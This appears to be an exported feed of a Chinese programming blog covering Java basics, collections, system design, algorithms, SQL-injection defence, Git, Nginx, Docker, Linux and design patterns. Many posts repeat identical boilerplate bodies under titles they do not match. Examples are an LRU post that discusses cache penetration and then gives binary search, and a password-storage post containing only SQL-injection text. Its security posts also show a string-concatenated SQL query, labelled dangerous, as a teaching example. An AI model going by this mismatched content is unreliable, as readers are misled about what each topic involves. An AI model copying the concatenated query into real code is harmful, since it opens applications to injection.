userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ ArrayList 扩容机制和使用建议

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA 文件上传服务如何保证稳定 //wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/ 文件上传服务如何保证稳定

文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 订单超时取消如何实现 //ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/ 订单超时取消如何实现

订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 秒杀系统的核心设计思路 //miao-sha-xi-tong-de-he-xin-she-ji-si-lu/ 秒杀系统的核心设计思路

秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 短链接系统如何设计 //duan-lian-jie-xi-tong-ru-he-she-ji/ 短链接系统如何设计

短链接系统是一个经典的系统设计题。本文讲它的核心思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 布隆过滤器适合解决什么问题 //bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/ 布隆过滤器适合解决什么问题

布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 LRU 缓存淘汰算法动手实现 //lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/ LRU 缓存淘汰算法动手实现

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 二分查找为什么容易写错 //er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/ 二分查找为什么容易写错

二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 密码存储为什么不能明文 //mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/ 密码存储为什么不能明文

密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 接口鉴权和权限校验的区别 //jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/ 接口鉴权和权限校验的区别

接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 SQL 注入原理和防护方法 //sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/ SQL 注入原理和防护方法

SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 Git 冲突解决的正确顺序 //git-chong-tu-jie-jue-de-zheng-que-shun-xu/ Git 冲突解决的正确顺序

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git rebase 和 merge 怎么选 //git-rebase-he-merge-zen-me-xuan/ Git rebase 和 merge 怎么选

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Git 提交前如何检查改动 //git-ti-jiao-qian-ru-he-jian-cha-gai-dong/ Git 提交前如何检查改动

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git Nginx 配置修改后的验证流程 //nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/ Nginx 配置修改后的验证流程

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 静态资源缓存配置 //nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/ Nginx 静态资源缓存配置

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx Nginx 反向代理配置入门 //nginx-fan-xiang-dai-li-pei-zhi-ru-men/ Nginx 反向代理配置入门

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 容器健康检查为什么重要 //rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/ 容器健康检查为什么重要

容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker docker compose 部署单机服务 //docker-compose-bu-shu-dan-ji-fu-wu/ docker compose 部署单机服务

Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Docker 容器日志和数据卷实践 //docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/ Docker 容器日志和数据卷实践

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Dockerfile 分层缓存和镜像优化 //dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/ Dockerfile 分层缓存和镜像优化

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Linux 文件权限和用户组理解 //linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/ Linux 文件权限和用户组理解

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux crontab 定时任务从配置到排查 //crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/ crontab 定时任务从配置到排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux systemd 服务管理入门 //systemd-fu-wu-guan-li-ru-men/ systemd 服务管理入门

systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 查看日志的几种方法 //linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/ Linux 查看日志的几种方法

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 磁盘空间占满排查流程 //linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/ Linux 磁盘空间占满排查流程

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

